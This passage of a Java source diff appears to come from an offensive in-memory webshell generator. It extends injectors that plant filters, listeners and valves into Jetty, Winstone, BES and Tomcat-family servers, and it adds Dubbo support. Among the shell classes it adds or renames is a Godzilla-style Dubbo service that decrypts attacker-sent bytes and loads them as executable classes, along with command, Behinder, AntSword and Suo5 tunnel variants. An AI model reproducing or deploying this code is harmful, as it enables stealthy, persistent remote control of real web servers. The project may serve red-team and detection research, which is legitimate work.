List<ProtocolConfig> arrayList = new ArrayList<>();
if (collection != null) {
try {
for (Object service : collection) {
try {
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
} catch (Exception e) {
}
}
} catch (Exception e2) {
}
}
try {
for (Object exportedProvider : getExportedProviders()) {
try {
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
if (objInvokeNoArgs != null) {
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
}
} catch (Exception e3) {
}
}
} catch (Exception e4) {
}
return arrayList;
}
private Collection<?> getExportedProviders() {
try {
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
} catch (Exception e) {
try {
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String resolveServiceAddresses(String str) {
String strNormalizePath = normalizePath(str);
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
if (objFindRegisteredService == null) {
objFindRegisteredService = findRegisteredService(strNormalizePath);
}
if (objFindRegisteredService == null) {
return strNormalizePath;
}
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
if (!listExtractExportedUrls.isEmpty()) {
return formatUrls(listExtractExportedUrls);
}
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
if (listResolveProtocols.isEmpty()) {
return strNormalizePath;
}
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
}
private Object findRegisteredService(String str) {
for (Object obj : getRegisteredServices()) {
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
return obj;
}
}
return null;
}
private List<?> extractExportedUrls(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
if (!list.isEmpty()) {
return list;
}
List<?> list2 = toList(getFieldValue(obj, "exporters"));
if (list2.isEmpty()) {
return new ArrayList<>();
}
List<Object> arrayList = new ArrayList<>();
for (Object exporter : list2) {
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
if (objInvokeNoArgs != null) {
arrayList.add(objInvokeNoArgs);
}
}
return arrayList;
}
private List<?> resolveProtocols(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
}
private Object invokeNoArgs(Object obj, String str) {
if (obj == null) {
return null;
}
try {
return obj.getClass().getMethod(str).invoke(obj);
} catch (Exception e) {
return null;
}
}
private Object invokeStaticNoArgs(Class<?> cls, String str) {
try {
return cls.getMethod(str).invoke(null);
} catch (Exception e) {
return null;
}
}
private Object getFieldValue(Object obj, String str) {
if (obj == null) {
return null;
}
Class<?> superclass = obj.getClass();
while (true) {
Class<?> cls = superclass;
if (cls == null) {
return null;
}
try {
Field declaredField = cls.getDeclaredField(str);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
superclass = cls.getSuperclass();
}
}
}
private List<?> toList(Object obj) {
Object value = extractOptionalValue(obj);
if (value instanceof Collection) {
return new ArrayList<>((Collection<?>) value);
}
if (value instanceof Map) {
return new ArrayList<>(((Map<?, ?>) value).values());
}
return new ArrayList<>();
}
private Object extractOptionalValue(Object obj) {
if (obj instanceof Optional) {
return ((Optional<?>) obj).orElse(null);
}
return obj;
}
private Object firstElement(List<?> list) {
if (list.isEmpty()) {
return null;
}
return list.get(0);
}
private ProviderConfig castProviderConfig(Object obj) {
if (obj instanceof ProviderConfig) {
return (ProviderConfig) obj;
}
return null;
}
private ApplicationConfig castApplicationConfig(Object obj) {
if (obj instanceof ApplicationConfig) {
return (ApplicationConfig) obj;
}
return null;
}
private List<RegistryConfig> castRegistries(List<?> list) {
return list.stream()
.filter(RegistryConfig.class::isInstance)
.map(RegistryConfig.class::cast)
.collect(Collectors.toList());
}
private Object resolveConfigManager() {
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
if (objInvokeStaticNoArgs != null) {
return objInvokeStaticNoArgs;
}
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
}
private String formatUrls(List<?> list) {
return list.stream()
.map(this::formatUrl)
.collect(Collectors.joining(", "));
}
private String formatProtocolAddresses(List<?> list, String str) {
return list.stream()
.map(obj -> formatProtocolAddress(obj, str))
.collect(Collectors.joining(", "));
}
private String formatUrl(Object obj) {
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
}
private String formatProtocolAddress(Object obj, String str) {
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
}
private String stringValue(Object obj, String str) {
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
}
private Integer integerValue(Object obj) {
if (obj instanceof Number) {
return Integer.valueOf(((Number) obj).intValue());
}
return null;
}
private List<ProtocolConfig> castProtocols(List<?> list) {
return list.stream()
.filter(ProtocolConfig.class::isInstance)
.map(ProtocolConfig.class::cast)
.collect(Collectors.toList());
}
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
addProtocols(linkedHashMap, collection);
addProtocols(linkedHashMap, collection2);
return new ArrayList<>(linkedHashMap.values());
}
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
if (collection == null) {
return;
}
for (ProtocolConfig protocolConfig : collection) {
if (protocolConfig != null) {
map.put(protocolKey(protocolConfig), protocolConfig);
}
}
}
private String protocolKey(ProtocolConfig protocolConfig) {
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
}
private String getErrorMessage(Throwable th) {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
th.printStackTrace(printStream);
return byteArrayOutputStream.toString();
} catch (IOException e) {
return String.valueOf(th);
}
}
}
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.HashSet; import java.util.HashSet;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -130,7 +131,16 @@ public class JettyFilterInjector {
} }
newMappings[0] = filterMapping; newMappings[0] = filterMapping;
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings}); invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
invokeMethod(servletHandler, "invalidateChainsCache"); try {
invokeMethod(servletHandler, "invalidateChainsCache");
} catch (NoSuchMethodException e) {
Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache");
if (_chainCache != null) {
for (Map cache : _chainCache) {
if (cache != null) cache.clear();
}
}
}
} }
@Override @Override
@@ -171,6 +181,19 @@ public class JettyFilterInjector {
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} }
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
} }
return contexts; return contexts;
} }
@@ -110,7 +110,8 @@ public class JettyHandlerInjector {
if (entry != null) { if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value"); Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) { if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")) { if (threadLocalValue.getClass().getName().contains("HttpConnection")
|| threadLocalValue.getClass().getName().contains("SelectChannelConnector")) {
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer"); return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
} }
} }
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.EventListener; import java.util.*;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -101,6 +98,19 @@ public class JettyListenerInjector {
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} }
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
} }
return contexts; return contexts;
} }
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.HashSet; import java.util.HashSet;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -109,6 +110,20 @@ public class JettyServletInjector {
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} }
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
} }
return contexts; return contexts;
} }
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.injector.struct2; package com.reajason.javaweb.memshell.injector.struts2;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
@@ -15,7 +15,7 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
* @since 2025/12/8 * @since 2025/12/8
*/ */
public class Struct2ActionInjector { public class Struts2ActionInjector {
private static String msg = ""; private static String msg = "";
private static boolean ok = false; private static boolean ok = false;
@@ -32,7 +32,7 @@ public class Struct2ActionInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public Struct2ActionInjector() { public Struts2ActionInjector() {
if (ok) { if (ok) {
return; return;
} }
@@ -19,8 +19,11 @@ public class Bes extends AbstractServer {
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, BesListenerInjector.class) .addInjector(LISTENER, BesListenerInjector.class)
.addInjector(JAKARTA_LISTENER, BesListenerInjector.class)
.addInjector(FILTER, BesFilterInjector.class) .addInjector(FILTER, BesFilterInjector.class)
.addInjector(JAKARTA_FILTER, BesFilterInjector.class)
.addInjector(VALVE, BesValveInjector.class) .addInjector(VALVE, BesValveInjector.class)
.addInjector(JAKARTA_VALVE, BesValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
.build(); .build();
@@ -0,0 +1,15 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
public class Dubbo extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
.addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
.build();
}
}
@@ -1,18 +1,18 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector; import com.reajason.javaweb.memshell.injector.struts2.Struts2ActionInjector;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/12/8 * @since 2025/12/8
*/ */
public class Struct2 extends AbstractServer { public class Struts2 extends AbstractServer {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(ShellType.ACTION, Struct2ActionInjector.class) .addInjector(ShellType.ACTION, Struts2ActionInjector.class)
.build(); .build();
} }
} }
@@ -0,0 +1,5 @@
package com.reajason.javaweb.memshell.shelltool;
public interface ShellDubboService {
byte[] handle(byte[] bytes);
}
@@ -10,7 +10,7 @@ import java.net.URLClassLoader;
* @author ReaJason * @author ReaJason
* @since 2025/02/18 * @since 2025/02/18
*/ */
public class AntSwordStruct2Action { public class AntSwordStruts2Action {
public static String pass; public static String pass;
public static String headerName; public static String headerName;
@@ -15,7 +15,7 @@ import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class BehinderStruct2Action { public class BehinderStruts2Action {
public static String pass; public static String pass;
public static String headerName; public static String headerName;
public static String headerValue; public static String headerValue;
@@ -0,0 +1,75 @@
package com.reajason.javaweb.memshell.shelltool.command;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.util.Scanner;
public class CommandDubboService {
public byte[] handle(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return new byte[0];
}
String p = new String(bytes);
String param = getParam(p);
try {
InputStream inputStream = getInputStream(param);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return outputStream.toByteArray();
} catch (Exception e) {
return getErrorMessage(e).getBytes();
}
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
@SuppressWarnings("all")
public Object unwrap(Object obj, String fieldName) {
try {
return getFieldValue(obj, fieldName);
} catch (Throwable e) {
return obj;
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -10,7 +10,7 @@ import java.util.Scanner;
* @author ReaJason * @author ReaJason
* @since 2025/12/8 * @since 2025/12/8
*/ */
public class CommandStruct2Action { public class CommandStruts2Action {
private static String paramName; private static String paramName;
public String execute() throws Exception { public String execute() throws Exception {
@@ -0,0 +1,85 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.UnsupportedEncodingException;
import java.util.Base64;
/**
* @author ReaJason
*/
public class GodzillaDubboService extends ClassLoader {
private static String key;
private static String md5;
private static Class<?> payload;
public GodzillaDubboService() {
}
public GodzillaDubboService(ClassLoader z) {
super(z);
}
public byte[] handle(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return new byte[0];
}
try {
byte[] data = decrypt(bytes, key);
if (payload == null) {
payload = new GodzillaDubboService(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
return "ok".getBytes("UTF-8");
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.toString();
byte[] byteArray = arrOut.toByteArray();
return (md5.substring(0, 16) + encrypt(byteArray, key) + md5.substring(16)).getBytes("UTF-8");
}
} catch (Throwable e) {
try {
return getErrorMessage(e).getBytes("UTF-8");
} catch (UnsupportedEncodingException ignored) {
}
}
return new byte[0];
}
public static String encrypt(byte[] data, String key) {
byte[] keyBytes = key.getBytes();
byte[] xored = new byte[data.length];
for (int i = 0; i < data.length; i++) {
xored[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
}
return Base64.getEncoder().encodeToString(xored);
}
public static byte[] decrypt(byte[] ciphertext, String key) {
byte[] data = Base64.getDecoder().decode(ciphertext);
byte[] keyBytes = key.getBytes();
byte[] result = new byte[data.length];
for (int i = 0; i < data.length; i++) {
result[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
}
return result;
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -15,7 +15,7 @@ import java.net.URLClassLoader;
* @author ReaJason * @author ReaJason
* @since 2024/12/15 * @since 2024/12/15
*/ */
public class GodzillaStruct2Action { public class GodzillaStruts2Action {
private static String key; private static String key;
private static String pass; private static String pass;
private static String md5; private static String md5;
@@ -18,7 +18,7 @@ import java.util.zip.GZIPInputStream;
* <p> * <p>
* key: key * key: key
*/ */
public class NeoreGeorgStruct2Action { public class NeoreGeorgStruts2Action {
public static String headerName; public static String headerName;
public static String headerValue; public static String headerValue;
@@ -16,7 +16,7 @@ import java.util.HashMap;
* @author ReaJason * @author ReaJason
* @since 2024/12/15 * @since 2024/12/15
*/ */
public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager { public class Suo5Struts2Action implements Runnable, HostnameVerifier, X509TrustManager {
public static String headerName; public static String headerName;
public static String headerValue; public static String headerValue;
public static HashMap addrs = collectAddr(); public static HashMap addrs = collectAddr();
@@ -25,10 +25,10 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
InputStream gInStream; InputStream gInStream;
OutputStream gOutStream; OutputStream gOutStream;
public Suo5Struct2Action() { public Suo5Struts2Action() {
} }
public Suo5Struct2Action(InputStream in, OutputStream out) { public Suo5Struts2Action(InputStream in, OutputStream out) {
this.gInStream = in; this.gInStream = in;
this.gOutStream = out; this.gOutStream = out;
} }
@@ -268,7 +268,7 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
Thread t = null; Thread t = null;
try { try {
Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream); Suo5Struts2Action p = new Suo5Struts2Action(scInStream, respOutStream);
t = new Thread(p); t = new Thread(p);
t.start(); t.start();
readReq(reqInputStream, scOutStream); readReq(reqInputStream, scOutStream);
@@ -14,11 +14,11 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
* @since 2025/12/9 * @since 2025/12/9
*/ */
public class Suo5v2Struct2Action { public class Suo5v2Struts2Action {
private static Class<?> suo5V2Class; private static Class<?> suo5V2Class;
private static String suo5V2GZipBase64; private static String suo5V2GZipBase64;
public Suo5v2Struct2Action() { public Suo5v2Struts2Action() {
} }
public void execute() throws Exception { public void execute() throws Exception {
@@ -106,8 +106,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
return WebLogicWriter.class; return WebLogicWriter.class;
case Server.Apusic: case Server.Apusic:
return ApusicWriter.class; return ApusicWriter.class;
case Server.Struct2: case Server.Struts2:
return Struct2Writer.class; return Struts2Writer.class;
default: default:
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer()); throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
} }
@@ -10,7 +10,7 @@ import java.util.Set;
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 UndertowPayara 识别为 GlassFish * HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 UndertowPayara 识别为 GlassFish
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish * 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
* 额外需要注意: * 额外需要注意:
* 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型 * 1. 不会识别 SpringWebMVC Struts2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序 * 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
* *
* @author ReaJason * @author ReaJason
@@ -33,7 +33,10 @@ public class JettyWriter {
continue; continue;
} }
Object value = getFieldValue(entry, "value"); Object value = getFieldValue(entry, "value");
if (value != null && value.getClass().getName().endsWith("HttpConnection")) { if (value != null && (
value.getClass().getName().endsWith("HttpConnection")
|| value.getClass().getName().contains("SelectChannelConnector")
)) {
Object response; Object response;
Object request; Object request;
try { try {
@@ -11,10 +11,10 @@ import java.lang.reflect.Method;
* @author ReaJason * @author ReaJason
* @since 2025/12/8 * @since 2025/12/8
*/ */
public class Struct2Writer { public class Struts2Writer {
private static boolean ok = false; private static boolean ok = false;
public Struct2Writer() { public Struts2Writer() {
if (ok) { if (ok) {
return; return;
} }
@@ -44,7 +44,11 @@ public class TomcatWriter {
try { try {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global"); requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException ignored) {
continue; try {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "endpoint"), "handler"), "global");
}catch (NoSuchFieldException ignored2) {
continue;
}
} }
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) { } else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable // Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
@@ -27,9 +27,15 @@ public class TongWebWriter {
String threadName = thread.getName(); String threadName = thread.getName();
if (threadName.contains("Poller") // TongWeb6 if (threadName.contains("Poller") // TongWeb6
|| threadName.contains("Acceptor") // TongWeb7 || threadName.contains("Acceptor") // TongWeb7
|| threadName.contains("AsyncTimeout") // TongWeb 7.0.4.9
) { ) {
try { try {
Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global"); Object requestGroupInfo = null;
try {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
} catch (NoSuchFieldException ignored1) {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "endpoint"), "handler"), "global");
}
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors"); List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
for (Object processor : processors) { for (Object processor : processors) {
String workerThreadName = (String) getFieldValue(processor, "workerThreadName"); String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
@@ -145,7 +145,7 @@ public class CommonUtil {
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType; + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
} }
public static String getSimpleName(String injectorClassName) { public static String getSimpleName(String className) {
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1); return className.substring(className.lastIndexOf(".") + 1);
} }
} }
@@ -1,25 +0,0 @@
package org.apache.catalina;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/27
*/
public interface Valve {
public Valve getNext();
public void setNext(Valve valve);
public void backgroundProcess();
public void invoke(Request request, Response response)
throws IOException, ServletException;
public boolean isAsyncSupported();
}
@@ -1,349 +0,0 @@
package org.apache.catalina.connector;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.security.Principal;
import java.util.*;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class Request implements HttpServletRequest {
@Override
public String getAuthType() {
return "";
}
@Override
public Cookie[] getCookies() {
return new Cookie[0];
}
@Override
public long getDateHeader(String name) {
return 0;
}
@Override
public String getHeader(String name) {
return "";
}
@Override
public Enumeration<String> getHeaders(String name) {
return null;
}
@Override
public Enumeration<String> getHeaderNames() {
return null;
}
@Override
public int getIntHeader(String name) {
return 0;
}
@Override
public String getMethod() {
return "";
}
@Override
public String getPathInfo() {
return "";
}
@Override
public String getPathTranslated() {
return "";
}
@Override
public String getContextPath() {
return "";
}
@Override
public String getQueryString() {
return "";
}
@Override
public String getRemoteUser() {
return "";
}
@Override
public boolean isUserInRole(String role) {
return false;
}
@Override
public Principal getUserPrincipal() {
return null;
}
@Override
public String getRequestedSessionId() {
return "";
}
@Override
public String getRequestURI() {
return "";
}
@Override
public StringBuffer getRequestURL() {
return null;
}
@Override
public String getServletPath() {
return "";
}
@Override
public HttpSession getSession(boolean create) {
return null;
}
@Override
public HttpSession getSession() {
return null;
}
@Override
public boolean isRequestedSessionIdValid() {
return false;
}
@Override
public boolean isRequestedSessionIdFromCookie() {
return false;
}
@Override
public boolean isRequestedSessionIdFromURL() {
return false;
}
@Override
public boolean isRequestedSessionIdFromUrl() {
return false;
}
@Override
public boolean authenticate(HttpServletResponse response) throws IOException, ServletException {
return false;
}
@Override
public void login(String username, String password) throws ServletException {
}
@Override
public void logout() throws ServletException {
}
@Override
public Collection<Part> getParts() throws IOException, ServletException {
return Collections.emptyList();
}
@Override
public Part getPart(String name) throws IOException, ServletException {
return null;
}
@Override
public Object getAttribute(String name) {
return null;
}
@Override
public Enumeration<String> getAttributeNames() {
return null;
}
@Override
public String getCharacterEncoding() {
return "";
}
@Override
public void setCharacterEncoding(String env) throws UnsupportedEncodingException {
}
@Override
public int getContentLength() {
return 0;
}
@Override
public String getContentType() {
return "";
}
@Override
public ServletInputStream getInputStream() throws IOException {
return null;
}
@Override
public String getParameter(String name) {
return "";
}
@Override
public Enumeration<String> getParameterNames() {
return null;
}
@Override
public String[] getParameterValues(String name) {
return new String[0];
}
@Override
public Map<String, String[]> getParameterMap() {
return Collections.emptyMap();
}
@Override
public String getProtocol() {
return "";
}
@Override
public String getScheme() {
return "";
}
@Override
public String getServerName() {
return "";
}
@Override
public int getServerPort() {
return 0;
}
@Override
public BufferedReader getReader() throws IOException {
return null;
}
@Override
public String getRemoteAddr() {
return "";
}
@Override
public String getRemoteHost() {
return "";
}
@Override
public void setAttribute(String name, Object o) {
}
@Override
public void removeAttribute(String name) {
}
@Override
public Locale getLocale() {
return null;
}
@Override
public Enumeration<Locale> getLocales() {
return null;
}
@Override
public boolean isSecure() {
return false;
}
@Override
public RequestDispatcher getRequestDispatcher(String path) {
return null;
}
@Override
public String getRealPath(String path) {
return "";
}
@Override
public int getRemotePort() {
return 0;
}
@Override
public String getLocalName() {
return "";
}
@Override
public String getLocalAddr() {
return "";
}
@Override
public int getLocalPort() {
return 0;
}
@Override
public ServletContext getServletContext() {
return null;
}
@Override
public AsyncContext startAsync() throws IllegalStateException {
return null;
}
@Override
public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException {
return null;
}
@Override
public boolean isAsyncStarted() {
return false;
}
@Override
public boolean isAsyncSupported() {
